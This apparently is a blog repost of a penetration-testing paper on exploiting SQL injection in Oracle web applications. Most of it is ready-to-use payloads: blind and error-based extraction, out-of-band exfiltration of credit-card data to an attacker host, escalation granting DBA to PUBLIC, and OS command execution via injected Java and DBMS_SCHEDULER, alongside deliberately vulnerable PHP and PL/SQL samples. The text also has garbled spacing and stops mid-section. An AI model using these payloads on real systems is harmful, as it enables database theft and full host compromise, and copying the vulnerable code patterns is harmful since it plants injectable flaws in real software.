Pesquisar neste blog

terça-feira, 23 de fevereiro de 2010

SQL Injection em base de dados Oracle

Olá Pessoal,
segue abaixo algumas técnicas disponíveis para exploração por SQL Injection através de aplicações web que utilizam base de dados Oracle divulgados pela 7Safe.


SQL   Injection  101  

SQL   Injection   is   vulnerability   here   unsanitised  user’s  input   is  used  in  SQL  calls.  This   vulnerability  allows   an   attacker   to   retrieve  sensitive  in formation   from   a   back-­- end  database.  The   impact   of   this  vulnerability  can  vary  f rom  basic  information  disclosure  t o   a  remote   code   execution   and   total compromise  of  the  back-­- end   systems.    
E.g.    Let’s  look   at   the   following   pseudo   PHP   code:  


$query = "select * from all_objects where object_name =".$_GET['name']. " ";


This   query   takes   user’s   input   (name   parameter)   and   this   input   is   directly   passed   on   to   the   query.    

Malicious   input   such   as:  
http://vulnsite.com/ora.php?name=’   or   ‘1’=’1  

This   will   result   in   the   following   query   being   executed:  


Select * from all_objetcs where object_name =‘ or ‘1’=’1


This   changes   the   SQL  logic  and  the  query  r eturns  all  r ows  from  table  all_objects.  


Exploiting  SQL  Injection    

Exploiting   SQL   injection  may   have   different  meanings   from   one   person   to  another.   Someone   may  only  be  after  the  sensitive  d ata  within  the  database  (e.g.  credit  card  details),  while  the  others  may  wish   to   execute   operating  system   commands  on  the  database  host  in  order  t o  completely  compromise  the  host.  The  remainder  of  this  paper  will  discuss  these  e xploitation  techniques:


1. Data  Extraction  

The  following   techniques   are   currently  known   to   extract   data  from   the   back-­- end   database  by  exploiting  SQL   Injection  from  web  applications:  


1. Error   Messages  Enabled:  

When   the   database  error   messages   are  enabled,   an   attacker  could   return   the   output   of  an   arbitrary  SQL   query   within  the  database  error   message.  A  number  of   functions   (executable  by   the   ‘public’  role)  can   be   used   for  this:  


UTL_INADDR.GET_HOST_NAME  


E.g.   The   following  malicious   input:  

http://192.168.2.10/ora2.php?name=’   and   1=utl_inaddr.get_host_name((select   user   from  dual))-­--­-  
This   will   result   in   the   following   SQL   query:  

Select * from all_objects where object_name =’ and 1=utl_inaddr.get_host_name((select user from dual))--‘


query   will   throw  an  error  which  will  have  t he  output  of  the  query  which   the   attacker   wanted   to  execute:  


Warning: ociexecute() [
function.ociexecute]: ORA-29257: host SCOTT unknown
ORA-06512: at "SYS.UTL_INADDR", line 4 ORA-06512: at "SYS.UTL_INADDR", line
35 ORA-06512: at line 1 in C:\wamp\www\ora2.php on line 13


While   this   technique   will   work   in  Oracle   8,   9   and  10g,   this   will   fail   in  11g.   This   is   due   to  enhanced  security   features  in   11g   which   implements  ACLs  on  p ackages  which  require  network  access  s uch  as  UTL_HTTP,   UTL_INADDR   etc.    


http://vulnsite.com/ora1.php?name=’  and   1=utl_inaddr.get_host_name((select   user   from   dual))-­--­-  
Warning: ociexecute() [
function.ociexecute]: ORA-24247: by access control list (ACL) ORA-06512 network access denied 06512: at "SYS.UTL_INADDR", line 35 ORA-06512: at line 1 in: at "SYS.UTL_INADDR", line 4 ORA-
C:\wamp\www\ora1.php
on line 13
 
Alexander   Kornbrust   showed  that  alternate  f unctions  can  be  used  in  11g  t o  extract  the  information  in  error   messages:  

ctxsys.drithsx.sn(1,(sql query to execute))

Example:  
http://192.168.2.10/ora1.php?name=’   and   1=ctxsys.drithsx.sn(1,(select   user   from   dual))-­--­-  
Warning:   ociexecute()   [function.ociexecute]:   ORA-­- 20000:   Oracle  Text   error:   DRG-­- 11701:   thesaurus  SCOTT   does   not   exist   ORA-­- 06512:   at   "CTXSYS.DRUE",   line  160   ORA-­- 06512:   at   "CTXSYS.DRITHSX",   line 538   ORA-­- 06512:   at   line  1   in  C:\wamp\www\ora1.php   on  line   13  



2. Error   Mesages  Disabled:  

When   the   database  error  messages  a re  disabled  then  there   a   number   of   methods  that  can  be  used  to   extract  data   from   the   database:  

UNION  Queries  
Blind  Injection  
Heavy  Queries  
Out-­- Of-­-Band  Channels.  

These  techniques   are  briefly   discussed  below,   although  a  detailed   analysis  is  not  within  the  scope  of  this  paper.    


a) UNION  queries
 
This   mostly   applies   when   the   SQL  injection  is  within  a  SELECT  statement  a nd  the  output  of  the  UNION  query   can   be   seen   with   the   HTTP   response: 



e.g.   http://192.168.2.10/ora1.php?name=’   union   all   select   user   from   dual   –  
The   limitation  of  this   technique  is  that   the   query   injected  by  the   attacker   must   match   the   original  query   in  number  of  columns  and  their   corresponding   data-­-types.  


b) Blind   Injection
 
Using   this   method   an  attacker   will   not   directly   see  the  output  of  the  query  he  wants  to  e xecute.   To  enumerate  the  output,  he  needs   to   use  a  set  of  logical  statements  based  on  t he  application’s  responses.    For  example:  
http://192.168.2.10/ora2.php?name=TEST  (produces  a  given  page)  
http://192.168.2.10/ora2.php?name=TEST’  and  (select  user  from  dual)='SCOTT'-­--­-    (produces  the  same  page)  
http://192.168.2.10/ora2.php?name=TEST’  and  (select  user  from  dual)='FOO'   -­--­-    (produces  a  
different   page)    
Based  on  the   3  responses  above  it  can  b e  deduced  that  the  output  of  query  "select  user  from  dual"  is  SCOTT.    


Tools
Sqlmap,   Bsqlbf,   Bsqlhacker,  Absinthe  etc.  :  
There   are   a  number   of   tools   publicly   available  to  exploit  blind  SQL  injection   in   Oracle.   E.g.   

c) OOB   Channels
 
Using  this  method,   the  information  is   being   sent   to   an   attacker-­- controlled   server   using   the   network  or   the   file   system.  There  are  a  number  o f  functions  available  under  Oracle  8,  9 ,  and   10g  (R1  and  R2)  to   achieve   this.  

UTL_INADDR.GET_HOST_ADDRESS  


 E.g.   An  attacker  can   make   the   database   server  issue   a  DNS  resolution   request  for  host  
SCOTT.attacker.com  by  issuing  a  SQL  Query  such  as:  

Select utl_inaddr.get_host_address((select user from
dual)||’.attacker.com’) from dual;
utl_inaddr.get_host_address((select user from
dual)||'.hacker.notsosecure.com') from dual) is not null--


Thus  by   receiving  such   DNS  name  resolutions   requests  an   attac
ker  can   now   obtain   the   output  of  SQL queries.    
18:35:27.985431  IP  Y.Y.Y.Y.35152  >   X.X.X.X.53:   52849  A?  
SCOTT.hacker.notsosecure.com.   (46)   

Similarly,  an  attacker  can  also  make  t he   database  server   issue  other  TCP  requests  (e.g.  HTTP)  and  receive  the  output  within  these   TCP  requests  issued  to   attacker’s  server. 

                                                                                                              

a   neat   trick   at   Confidence   2009   on   how   by   issuing   one   such   request   an   attacker   can   get   bulk  data   over   OOB  channels:  
Select sum(length(utl_http.request('http://attacker.com/'||ccnumber||'.'||fname||'.'||lname)))  
from   creditcard  http://192.168.2.10/ora2.php?name=SCOTT’  and  (select  
sum(length(utl_http.request('http://attacker.com/'||ccnumber||'.'||fname||'.'||lname)))   from  
creditcard)>0-­--­-  

This   one  single  request   will   make  the   database  server   recursively   do   a  DNS   lookup   for   all   rows  within  the   table.   This   will   send   all   the   card   numbers   (CCnumber)   along   with   the   corresponding   first   name (fname)  and   last  name   (lname)  from   Creditcard   table   to   attacker’s   site  in  HTTP  r equests.  These   are the   logs   which   the   attacker  will   find   in   his   web   server’s   access   logs.  
...    
X.X.X.X   -­-   -­-  [17/Feb/2010:19:01:41  +0000]  "GET  /5612983023489216.test1.surname1  HTTP/1.1"  404  
308   "-­- "  "-­- "  
X.X.X.X   -­-   -­-  [17/Feb/2010:19:01:41  +0000]  "GET   /3612083027489216.test2.surname2   HTTP/1.1"   404  
308   "-­-"  "-­-"  
X.X.X.X   -­-   -­-  [17/Feb/2010:19:01:41  +0000]  "GET  /4612013028489214.test3.surname3  HTTP/1.1"  404  
308   "-­- "  "-­- "  
...  
The   restriction   posed   by  this   technique   is   that   the  outbound  traffic  f rom  the  database  host  should  be allowed   on   the  firewall.   In   practice,   DNS   is   usually   allowed  and  hence   this   technique   is   very   useful.  


SYS.DBMS_LDAP.INIT  

As  noted   earlier,   the   enhanced  security   features   introduced  in  11g  prohibit  ‘public’  from  executing  packages   which  could  cause  a  network  connection.  H owever,  David  Litchfield  in  his   recent  Blackhat talk   showed   another   function  (executable  by  public)  that  can  be  used  to  conduct  an  OOB  attack  under   11g.  

SELECT SYS.DBMS_LDAP.INIT((SELECT user from
dual)||'.databasesecurity.com',80) FROM DUAL
SYS.DBMS_LDAP.INIT((SELECT user from dual)||'.databasesecurity.com',80)
FROM DUAL) is not null--


d) Heavy   Queries
 
If  the  SQL  Injection  is  not  w ithin  a  SELECT  statement  (e.g.  INSERT  Statement),  then  although  the  query   injected  by   the   attacker   will   get   executed  on  the   database   server,   it   may   not   be   possible   to manipulate   the   output   of   the   query   as   the   HTTP   response   returned   by   the   application   will   not   differ. 
                                                              



Further,   if  the   database  has   egress   filtering   enabled  then   the   OOB   attack   will   not  be   successful.  This  method   is   perhaps  the   last   resource  available   to   extract  the   output   of   the   SQL   query.  
For   Example,   Let’s   look   at   the  following   PHP  code:    
error_reporting(0);  
$conn=oci_connect("scott",   "tiger",   '//192.168.2.11:1521/orcl');  
$sql   =  "INSERT  INTO   DRAW   VALUES  ('".$_GET['number']."')";  
$stmt   =  oci_parse($conn,$sql);  
echo   "Thank   You   For   Your   Submission";  
oci_execute($stmt);  
?>  

The   application   performs   an   insert   query   on  the   user   supplied   input   and  displays   the   same   message  "Thank  You   For   Your   Submission"  irrespective   of   whether   the   query  executed   successfully  or   not.  This   makes   it   difficult   to   manipulate   the   output   of   logical   statements   issued   by   the   attacker   and hence   the   blind  injection  technique   will   fail   here.  

MS-­- SQL   and   MySQL   have  functions   which   can   be  called   to   make  the  database  server   sleep   for   a  certain   amount   of   time.     Thus  the   output   of   the   injected   SQL   query   can   be  manipulated   depending  upon  the   time   taken   by  the   database/application   server   to   respond.   However,   as   there   is   no   such  function   available   in   Oracle,   a   similar  approach   is   to   make   the   database   issue   a   heavy   query   which  will  result  in  a  time  delay.  T he  end  result  is  that  the  logical  s tatements  issued  by  the  attacker   can  be  manipulated  as  true  or  false  d epending  upon  the  time  taken  for  t he  HTTP  response.        

(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and
(select user from dual)='SCOTT'))--
INSERT INTO DRAW VALUES('XXX2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and (select user from dual)='SCOTT'))--

Query   Lasts   30  seconds  
(select count(*)from all_users t1, all_users t2, all_users t3, all_users
t4, all_users t5)>0 and
(select user from dual)='XXXX'))--
INSERT INTO DRAW VALUES('2222222'||(select 1 from dual where (select
count(*)from all_users t1, all_users t2, all_users t3, all_users t4,
all_users t5)>0 and (select user from dual)='XXXX'))--


Query   Lasts   1  second  

The   above   2  requests  show   that   the   output   of   the   attacker’s   query   is   SCOTT  


Privilege   Escalation  

The   abovementioned   techniques   will   allow   an   attacker   to   obtain   the   output   of   an   arbitrary   SQL  query.   The   important   thing   to   understand   here   is   the   privileges   with   which   an   attacker’s   query   gets  executed.   There  can  be  2  b road  categories  here:  
1. Privileged   SQL   Injection  
2. Un   Privileged   SQL   Injection  

1. Privileged  SQL   Injection:    

By   Privileged   SQL   Injection  I   imply   that   the   attacker’s   query   gets   executed   as   SYS   user   (or   with   DBA  privileges)   and   thus   he   has   access   to   entire   database.   There   can   be   quite   a  few   possibilities  such  a s:  
1. Connection  String   has   a   privileged   User.  
2. SQL   Injection   is   in   a  stored   procedure  which   gets   executed   as   SYS  (or  with  DBA  privileges).  

Stored   procedures   in   Oracle  by  default   get   executed   with   definer   rights.   Thus,  if  SYS  has  a  vulnerable  procedure   which   SCOTT   can   execute,   than   SCOTT   can   execute   SQL   queries   as   SYS.  

Example:  

create or replace PROCEDURE
SYS
.countpass(name IN VARCHAR2, message out varchar2)
AS
str varchar2(500);
BEGIN
str :='select count(PASSWORD) FROM SYS.USER$
WHERE NAME like ''%'||name||'%''';
Execute immediate str into message;
END;
/
Grant execute on SYS.countpass to SCOTT;

This   procedure   can   be   called  from   a   web  application.   The   following   PHP   code  (ora6.php)  demonstrates   this:  


$conn = oci_connect('SCOTT','TIGER') or die;
$sql = 'BEGIN SYS.countpass(:name, :message); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);
// Bind the output parameter
oci_bind_by_name($stmt,':message',$message,1000);
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
// $message is now populated with the output value
print "$message";
?>


In  this  example  although  P HP  uses  bind  variables  it  does  not  help  a s  the  procedure  is  still  vulnerable. Further,  although   the  application   connects   to   the  database  as  an  unprivileged  user  ( SCOTT),  the injection  point  is  in  a   procedure  owned  by  SYS  and  therefore  t he  attacker  c an  e xecute  SQL  queries  as  SYS.  
E.g.    

 Returns   1    

'    and  (select  password  from  sys.user$  where  
rownum=1)='286E1EA8F2CFD262'-­--­-  
Returns     1    

'    and  (select  password  from   sys.user$   where  
rownum=1)='XXXXXXXXXXXX'—  
Returns   0    
This   implies   that  the   attacker  can   run   SQL   as   SYS   user  (access   sys.user$    table)  and  the  example  demonstrates  how  an  attacker  can  o btain  the  password  hash  of  SYS  user  using  b lind  injection  technique   described   earlier.  What   if   the   attacker   wants   to  execute   DDL/DML   Statements   such   as   ‘GRANT  DBA   TO   PUBLIC’?  Oracle   database   poses  a  number  o f  problems  in  e xecuting  DDL/DML  statements  when   exploiting  SQL  injections  from  web   applications   mainly   because   Oracle   by   design   does   not  support  nested   queries.  
In  order  to  achieve  t his,  we  must  find  a  function  which  could  either  directly  take   PL/SQL  and  execute  it  as  a  feature  or  find  a  function  which  is  v ulnerable  to   PL/SQL   Injection.  
David   Litchfield   recently   showed   a  few  functions  which  could  allow  an  attacker  t o  achieve  this:  

SYS.KUPP$PROC.CREATE_MASTER_PROCESS   
Affected   Systems:  11g  R1  and  R2  (0  day)  
Description:  
The   execution   of   a  PL/SQL   statement   within   this   function   is   a  feature   and   not  a   bug.  
This   function   is   not   executable   by   PUBLIC.  Any  user  with  DBA  r ole  can  execute  this  function.  As  our  injection  point  was  in  a  procedure  owned  by  SYS,  we  can  execute  this  function.
 
and (Select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('EXECUTE IMMEDIATE ''DECLARE PRAGMA
AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO
PUBLIC''''; END;'';') from dual) is not null--



DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC
 
Affected   Systems:
 8,  9,  10g  R1,  R2,  11g  R1  (Fixed  in  CPU   July   2009)  
This  function  can  o nly  be  executed  by  S YS.  It  uses  definer  rights  (SYS)  for  execution.  Unlike  the  previous  function,  this  one  executes  PL/SQL  due  to  a  flaw  (PL/SQL   Injection)  and  not  a  feature.  

and (Select
DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_
gname); execute immediate ''declare pragma autonomous_transaction;begin
execute immediate ''''grant dba to scott'''';end;''; end;--','CCCC') from
dual) is not null--


2. Unprivileged   SQL   Injection  

In  the  example  described  a bove,  the  injection  point  was  in  a  procedure  which   gets  executed   as  SYS  and   hence  privileged,  but   what   if   the  SQL   Injection   is   not   privileged,   that   is:  

1. Injection  is  in  a  SQL  statement   and   gets   executed  as  unprivileged  user:  

$conn = oci_connect("scott", "tiger", '//192.168.2.10:1521/orcl.com');
$query = "select text2 from foo2 where id = ".$_GET['name'];


2. Injection  is  in  a  procedure  w hich  gets  executed  as  a n  unprivileged  user:  

CREATE OR REPLACE PROCEDURE  SCOTT
.countobject(name IN VARCHAR2, message out varchar2)AUTHID
CURRENT_USER AS
str varchar2(500);
BEGIN
str :='select count(object_name) from all_objects where object_name like
''%'||name||'%''';
execute immediate str into message ;
END;

The following php script(ora7.php) now calls this procedure:
$conn = oci_connect('SCOTT','TIGER') or die;
$sql = 'BEGIN
SCOTT.countobject(:name, :message); END;';
$stmt = oci_parse($conn,$sql);
// Bind the input parameter
oci_bind_by_name($stmt,':name',$name,1000);
// Bind the output parameter
oci_bind_by_name($stmt,':message',$message,1000);
// Assign a value to the input
$name = $_GET['name'];
oci_execute($stmt);
// $message is now populated with the output value
print "$message";
?>


Here   the   attacker’s   query   will   be   executed   as   SCOTT   user.  Let’s  see  if  w e  can  still  obtain  the  password  hash  of  SYS  user:    

http://192.168.2.10/ora7.php?name=SCOTT' and (select password from
sys.user$ where rownum=1)='286E1EA8F2CFD262'--


This   query   will  now  fail  a s  the  injection  is  u nprivileged  and  the  user  SCOTT  d oes  not  have  access  to  the   sys.user$   table.   If  the   error  messages  are   enabled   on   the   application   then  the   following  error  will  be   displayed:  


Warning:
oci_execute() [function.oci-execute]: ORA-00942: table or view
does not exist
ORA-06512: at "SCOTT.countobject", line 8 ORA-06512: at line
1 in
C:\wamp\www\ora7.php on line 18

This   is   where   things   start  getting   "interesting".  Those   of   you   familiar   with   MS-­- SQL   may   recall   that  MS-­- SQL   has   a  feature  called  Openrowset  which  ( if  enabled)  could  allow  an  attacker  to  brute -­- force/guess  ‘SA’  password   and   then   run   SQL   queries   as   ‘SA’.  

In  Oracle   a   similar  privilege   escalation   can   be   achieved   under  certain   circumstances.   At  the   time   of  writing   this   paper  the  following  t echniques  are  publicly   known1:  

DBMS_EXPORT_EXTENSION  

Affected   Versions:
  Oracle   8.1.7.4,   9.2.0.1   -­-  9.2.0.7,  10.1.0.2  -­-  10.1.0.4,  10.2.0.1-­-10.2.0.2,   XE  (Fixed  in  
CPU  July   2006)  


Privilege  required
:  N one  

Description
:  This  package   has   had  number  of   functions   vulnerable   to  PL/SQL   Injection.  These  
functions   are   owned   by   SYS,   execute   as   SYS   and   are   executable   by   PUBLIC.  Thus,  if  the  SQL  Injection  is  in  any  of  the  u n-­- patched  Oracle   database  versions   mentioned  above  then  the   attacker   can  call   this  function   and   directly   execute   queries   as   SYS.    
E.g.    

chr(44)=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS
_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA

                                                                                                                         

 While  an  effort  h as  been  made  to  collect  a ll  p ublicly  known  techniques,  it  may  be  possible  that  there  a re  
other   privilege   escalation  techniques  known.  


BEGIN EXECUTE IMMEDIATE ''''
grant dba to
public
'''';END;'';END;--','SYS',0,'1',0)--

This   request   will   result   in   the   query   ‘GRANT  DBA   TO   PUBLIC’   getting   executed   as   SYS.   This   function  allows   PL/SQL   because  of   a  flaw   (PL/SQL   injection)   .Once   this   request   is   successfully   executed,  the  PUBLIC   gets   DBA   role  thus   escalating   SCOTT’s   privileges   and   now   our   SCOTT  user  can  query  sys.user$  
table:  
   
http://192.168.2.10/ora7.php?name=SCOTT' and (select password from
sys.user$ where rownum=1)='286E1EA8F2CFD262'--

Tool:  
Bsqlbf   has   this   feature   of   doing   privilege   escalation  first   and  then  extracting   data   with  DBA  privileges.  After   extracting   data   it   revokes   the   DBA   role   from   PUBLIC.
 


While   there   are   no   other  publicly   known  techniques  by  which  a n  attacker  can  become  DBA  from  ju st  CREATE   SESSION   privilege   by   exploiting   SQL   injection  from  web  applications,  t here  are  still  a  few  attack   vectors   with  which  an   attacker   can  execute  operating   system   commands  without  having  DBA  role  (with  JAVA  privileges).  This  is  discussed  below.  

3. OS  Code   Execution  

The  following   attack  vectors   are  currently   publicly  known   for  executing   operating  system   commands  against  the   Oracle  database   while  exploiting   SQL  injection  from   web  applications:  

1. DBMS_EXPORT_EXTENSION  

Affected   Versions:
  Oracle   8.1.7.4,   9.2.0.1   -­-  9.2.0.7,  10.1.0.2   -­-  10.1.0.4,  10.2.0.1-­- 10.2.0.2,   XE  

Privilege  required
:  None  

Description
:   As   noted  under   privilege   escalation,   the  functions  within   this  package,  vulnerable  to  
PL/SQL   Injection,  can  be  used  to  firstly  gain  DBA  p rivileges  and   then  Operating  System  
Commands  can  be  executed  by  a  number  o f  techniques   such  as:  

Creating   JAVA  library  
DBMS_SCHEDULER  
EXTPROC  
PL/SQL  native  make  utility  (9i  only)  
The   following   demonstrates   on   how   to   do   this   with   Java
.  
With   Java:  
1.
Create   java   Library:  
’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args)
{try{BufferedReader myReader= new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream()
) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str
%2b=stemp%2b"\n";myReader.close();return
str;} catch (Exception e){return e.toString();}}public static String
readFile(String filename){try{BufferedReader
myReader= new BufferedReader(new FileReader(filename)); String
stemp,str="";while ((stemp = myReader.readLine()) !=
null) str %2b=stemp%2b"\n";myReader.close();return str;} catch (Exception
e){return
e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--


2. Grant  Java   Permissions  to   SCOTT:  

’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin
dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',
''''''''<>'''''''', ''''''''execute''''''''
);end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--


3. Create   Function  

’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create
or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';
'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--


4. Grant   function  execute   Privileges  

’ and (select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE
''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant
all on LinxRunCMD to
public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

                                     

OS   Code  

’ and (select
sys.LinxRunCMD('cmd.exe /c whoami') from dual) is not null--

Similarly,   one  can   execute  OS  code   via  this   PL/SQL   Injection   through   other  methods  such   as  DBMS_SCHEDULER,   PL/SQL  native  make  utility  e tc.  


Tool:
 Bsqlbf  incorporates  these  m ethods  of  OS  Code  e xecution.   

2. With   Java   Privileges  


Affected   Versions:
 10g  R2,  11g  R1  and  11g  R2  (0  day  at  the  time  of  writing)  

Permissions   required
:  Java   Permissions.  

Description:
 David  Litchfield   recently   demonstrated   that  if  the  user   has   Java  privileges  then  
operating   system   commands  can  be   executed  from  web  applications  u sing  2  different  functions:  


a) DBMS_JAVA.RUNJAVA    


Affected   System:
 11g  R1,  11g  R2  (0  day  at  the  time  of  writing)  
’ and (SELECT
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c dir>C:\\OUT.LST') FROM DUAL) is not null

--



b) DBMS_JAVA_TEST.FUNCALL  


Affected  System
:  10g  R2,  11g  R1,  11g  R2  (0  day  at  the  time  o f  writing)  
’ and (Select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\windows\\sy
stem32\\cmd.exe','/c','dir>c:\\OUT2.LST') FROM DUAL) is not null –


The   list   of   java  permissions   available   to   the   user   can   be   obtained   by   issuing   the   following   query:  

select * from user_java_policy where grantee_name ='SCOTT'


3. With   SYS  Privileges  

As   noted  under   the   section  Privileged  SQL   Injection,   when  the   injection  point   is   in  a  procedure  owned  by   SYS   (AUTHID  Definer),  t hen  the  attacker   can   use  a  number   of   functions   for   executing  Operating   System     Commands,  including  the  2  techniques  mentioned  above  (DBMS_EXPORT_EXTENSION,   JAVA   Privileges).  However,  another   way   to   achieve  this   is   by   using  DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC.   As   noted   earlier,   this   was   fixed   in   January  2009  by  Oracle.  


DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC
 
Affected   Versions
:   Oracle   8,   9,10g  R1,  10g  R2,  11g  R1  (Fixed  in  CPU   July   2009)  

Privilege  required
:  SYS  

Description
:   As   noted  earlier   this   function  is   not   available   to  ‘public’  and  can  only  b e  executed  by  SYS  user.  Hence   only   a   SQL   Injection  in  a   procedure  owned  by   SYS   can  call   this   function.  As   this   function  is  vulnerable  to  PL/SQL  injection,   it  can  be  used  to  execute  O S  code  by  a  number  of  methods  s uch  as:  

Creating   JAVA  Library(Universal,   Except  XE)  
DBMS_SCHEDULER  (Universal)  
Extproc  (Only  10g  R1)  
PL/SQL  native  make  utility  (9i  only)  

With   java
 
Create  Library:  
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace and compile java source named
"LinxUtil" as import java.io.*; public class LinxUtil extends Object
{public static String runCMD(String args) {try{BufferedReader myReader= new
BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream() ) ); String
stemp,str="";while ((stemp = myReader.readLine()) != null) str
+=stemp+"\n";myReader.close();return str;} catch (Exception e){return
e.toString();}}public static String readFile(String
filename){try{BufferedReader myReader= new BufferedReader(new
FileReader(filename)); String stemp,str="";while ((stemp =
myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return
str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--
','CCCCC') from dual) is not null--
Granting  JAVA   permissions:
’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(
''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',
''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--
','CCCCC') from dual) is not null --


Creating   Function:
 
’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in
varchar2) return varchar2 as language java name
LinxUtil.runCMD(java.lang.String) return String'''''''';
'''';END;'';END;--','CCCCC') from dual) is not null --


Making   function   executable  by   PUBLIC  
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
SYS.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:ca
non_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--
','CCCCC') from dual) is not null --


Executing   OS   Code:  
http://192.168.2.10/ora6.php?name=SCOTT’ and (select
sys.LinxRunCMD('cmd.exe /c whoami ') from dual) is not null --

Tool:
 Bsqlbf  incorporates  this  exploit  

4. With   DBA   Privileges  

If  the  injection  point  is  such  that  the  attacker’s  q uery  gets  executed  with  D BA  privileges  then  he  can  use   this   function  to  execute   OS   code.  


SYS.KUPP$PROC.CREATE_MASTER_PROCESS  


Affected   Versions:
 11g  R1  and  R2  (0day  at  the  time  of  writing)  

Privilege  required:
DBA2  

Description
: While the VALIDATE_REMOTE_RC  was  fixed  by  Oracle  in  J uly  2009,  
DBMS_EXPORT_EXTENSION  in   2006   and   DBMS_JAVA   (DBMS_JAVA_TEST)   will   be   fixed   soon,  this  one  is  still  un-­- patched  and   works   on  11g   (R1   and  R2).    As  noted  earlier,  the  PL/SQL  execution  from  this  function  is   a  ‘feature’  and  not  a  bug.   Hence,   if   Oracle   does   not   patch/remove   this   function,   this   may  be   one   universal   way   for   executing   OS   code   when  exploiting   SQL   Injection  from  web  (injection  point  in  procedure  owned  by  user  h aving  DBA  role).   As   I  have  already  shown  OS  code  execution  by  J ava,  let’s  take  a  different  approach  this  time.  The  example  below  shows  O S  code  execution  based  on  DBMS_SCHEDULER   (all   oracle   versions,   including   XE):  


DBMS_SCHEDULER
 
Create   program
 
’  and  (select  
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''myprog4'',''EXEC
UTABLE'',''c:\WINDOWS\system32\cmd.exe   /c  dir   >>   c:\my4.txt'',0,TRUE);')   from  dual)   is   not   null   -­--­-
 
Create   Job
 
’  and  (select  
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_job(job_name  =>  
                                                                                                                       

 Unlike   VALIDATE_REMOTE_RC,  this  function  can  be  executed  b y  any  user  who  has  DBA  role  

''myjob4'',program_name   =>   ''myprog4'',start_date   =>   NULL,repeat_interval   =>   NULL,end_date   =>  
NULL,enabled   =>   TRUE,auto_drop   =>   TRUE);')   from   dual)  is   not  null   -­--­-
 
Remove   Job  (Not  Required)
 
’  and  (select
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.drop_program(PROGRAM_NA
ME => ''myprog'');') from dual) is not null --
 

PL/SQL  Injection  

